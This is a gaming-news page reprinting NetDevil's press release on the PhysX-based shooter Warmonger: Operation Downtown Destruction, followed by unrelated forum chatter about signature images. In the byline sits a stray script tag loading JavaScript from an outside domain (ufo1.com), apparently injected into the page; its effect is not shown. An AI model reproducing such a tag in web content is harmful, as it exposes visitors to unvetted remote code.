Warmonger: Operation Downtown Destruction And AGEIA PhysX Processor

"Independent game developer, NetDevil, has announced that it is working on a revolutionary new title called Warmonger: Operation Downtown Destruction, built around the PhysX engine."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 10/01/07
Author: Matthew Fogg
Source: NetDevil

Official Press Release


Official Press Release

NetDevil
, an independent game company and leading developer of massively multiplayer online games (MMOs), today announced it is working on a revolutionary new title called Warmonger: Operation Downtown Destruction. The apocalyptic, first-person shooter (FPS) is built around the AGEIATM PhysXTM processor, which enables NetDevil's unique, piece-by-piece destruction system and is designed to deliver stunning fluid and cloth-based effects unlike anything seen before. Assets from the much anticipated, urban destruction trainer were revealed yesterday at the Consumer Electronics Show at the Sands Expo and Convention Center.

About Warmonger: Operation Downtown Destruction

 

The year is 2029 and the Global Corporate Wars have begun! Warmonger is set against an apocalyptic setting, when two of the largest military spenders, PolyChem Oil and General Energy, clashed in a dispute over a large cache of Iranian oil fields. When the conflict escalated, an all-out war took shape on US soil. The game is staged for players to take down an entire city; one block at a time. As maps are won, a larger tactical influence is then triggered in the next, or surrounding, map(s). Each map instance will play differently as the sheer destruction of map elements forces players to adapt and find new ways to win or defend their objectives. Every round leads you closer to dominating the web of maps that make up the entire city and players have the ability to raise their ranking in a class, gaining extra abilities for high performance. Operation Downtown Destruction is the part of a longer series involving distinct periods from the episodic Warmonger story.

 

Unique to Warmonger is a destruction system that allows dynamic gameplay to emerge from the results of combat, where every aspect of the environment can be completely leveled. Destruction is done procedurally, rather than pre-canned animations that are found in most games today.

As a result, explosives, rockets, indirect fire, and vehicle combat can literally blow away walls, drop ceilings and open up new pathways for enhanced gameflow. Collision detection has also been carefully considered during development, and the effect of destruction within the environment can be used as a weapon. A sniper can blow the stairs behind him to block access, but a rocket to the floor beneath him will drop him down, causing possible death.



"We've been very impressed with what they've been able to do with our PhysX processor, as well as visual enhancements they've made to the game by combining it with the Unreal Engine 3. "The benefits of the destruction system are noteworthy, and added PhysX elements of fluids and cloth will give a depth and feel that truly reflect the cutting edge of gaming interactivity.

The Warmonger concept was developed to bring UE3 expertise to the NetDevil team and position the company's resources for a larger deployment of the design. Warmonger is more than a proof of concept; it is the basis for a fully-realized MMO design that NetDevil will be looking to bring to market."

In addition to AGEIA, NetDevil has leveraged the Unreal Engine 3 from Epicgames for the core technology underneath Warmonger, and is also working with LIDARvfx, a laser-scanned
3D asset specialist, to deliver ultra-realistic assets to the Warmonger environment. Both partnerships are fundamental to the enabling of feature rich development and interactive content creation."

 

AGEIA PhysX

Feel free to discuss this announcement in our forum
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Most Recent Comments

09-01-2007, 20:20:16

Kempez
Don't cut off people's heads, it's rude :p

[IMG]http://upload.overclock3d.net/get.php?id=1580[/IMG]

09-01-2007, 20:21:25

mVp24

http://upload.overclock3d.net/get.php?id=1580[/IMG]



:iamwithst :noobsign: :noobsign: :noobsign: :noobsign: :noobsign: :ban:

09-01-2007, 20:21:42

Ham
...i dont get it

09-01-2007, 20:29:47

jiffz
He cut around the edged of his sigs head because it shows up on the ST forums, like mine does atm :(

I better install PS

09-01-2007, 20:29:48

Kempez
I'll explain

His current one:

[IMG]http://upload.overclock3d.net/get.php?id=1572[/IMG]

I should really fiddle some more and get it perfect but I just spent 1hour 15mins building a PC from scratch :p

09-01-2007, 20:38:31

Mr. Popo
That's a REALLY good lookin sig. :D

10-01-2007, 15:47:18

Hyper
Look at my sig now, is that better :D
Reply
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